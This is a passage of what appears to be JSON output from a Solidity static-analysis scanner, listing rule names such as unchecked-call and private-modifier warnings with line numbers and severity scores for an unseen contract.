"severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 83, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 2421, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 391, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 433, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 2215, "severity": 1}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 443, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 447, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 451, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 455, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 459, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 463, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 467, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 471, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 475, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 479, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 483, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 487, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 491, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 495, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 499, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 503, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 507, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 511, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 515, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 519, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 523, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 527, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 531, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 535, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 539, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 543, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 547, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 551, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 555, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 559, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 563, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 567, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 571, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 575, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 579, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 583, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 587, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 591, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 595, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 599, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 603, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 607, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 611, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 615, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 619, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 623, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 627, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 631, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 635, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 639, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 643, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 647, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 651, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 655, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 659, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 663, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 667, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 671, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 675, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 679, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 683, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 687, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 691, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 695, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 699, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 703, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 707, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 711, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 715, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 719, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 723, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 727, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 731, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 735, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 739, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 743, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 747, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 751, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 755, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 759, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 763, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 767, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 771, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 775, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 779, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 783, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 787, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 791, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 795, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 799, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 803, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 807, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 811, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 815, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 819, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 823, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 827, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 831, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 835, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 839, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 843, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 847, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 851, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 855, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 859, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 863, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 867, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 871, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 875, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 879, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 883, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 887, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 891, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 895, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 899, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 903, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 907, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 911, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 915, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 919, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 923, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 927, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 931, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 935, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 939, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 943, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 947, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 951, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 955, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 959, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 963, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 967, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 971, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 975, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 979, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 983, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 987, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 991, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 995, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 999, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1003, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1007, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1011, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1015, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1019, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1023, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1027, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1031, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1035, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1039, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1043, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1047, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1051, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1055, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1059, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1063, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1067, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1071, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1075, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1079, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1083, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1087, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1091, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1095, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1099, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1103, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1107, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1111, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1115, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1119, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1123, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1127, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1131, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1135, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1139, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1143, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1147, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1151, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1155, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1159, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1163, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1167, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1171, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1175, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1179, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1183, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1187, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1191, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1195, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1199, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1203, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1207, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1211, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1215, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1219, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1223, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1227, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1231, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1235, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1239, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1243, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1247, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1251, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1255, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1259, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1263, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1267, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1271, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1275, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1279, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1283, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1287, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1291, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1295, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1299, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1303, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1307, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1311, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1315, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1319, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1323, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1327, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1331, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1335, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1339, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1343, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1347, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1351, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1355, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1359, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1363, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1367, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1371, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1375, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1379, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1383, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1387, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1391, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1395, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1399, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1403, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1407, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1411, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1415, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1419, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1423, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1427, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1431, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1435, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1439, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1443, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1447, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1451, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1455, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1459, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1463, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1467, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1471, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1475, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1479, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1483, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1487, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1491, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1495, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1499, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1503, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1507, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1511, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1515, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1519, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1523, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1527, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1531, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1535, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1539, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1543, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1547, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1551, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1555, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1559, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1563, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1567, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1571, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1575, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1579, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1583, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1587, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1591, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1595, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1599, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1603, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1607, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1611, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1615, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1619, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1623, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1627, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1631, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1635, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1639, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1643, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1647, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1651, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1655, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1659, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1663, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1667, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1671, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1675, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1679, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1683, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1687, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1691, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1695, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1699, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1703, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1707, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1711, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1715, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1719, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1723, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1727, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1731, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1735, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1739, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1743, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1747, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1751, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1755, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1759, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1763, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1767, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1771, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1775, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1779, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1783, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1787, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1791, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1795, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1799, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1803, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1807, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1811, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1815, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1819, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1823, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1827, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1831, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1835, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1839, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1843, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1847, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1851, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1855, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1859, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1863, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1867, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1871, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1875, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1879, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1883, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1887, "severity": 3}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 1891, "severity": 3}, 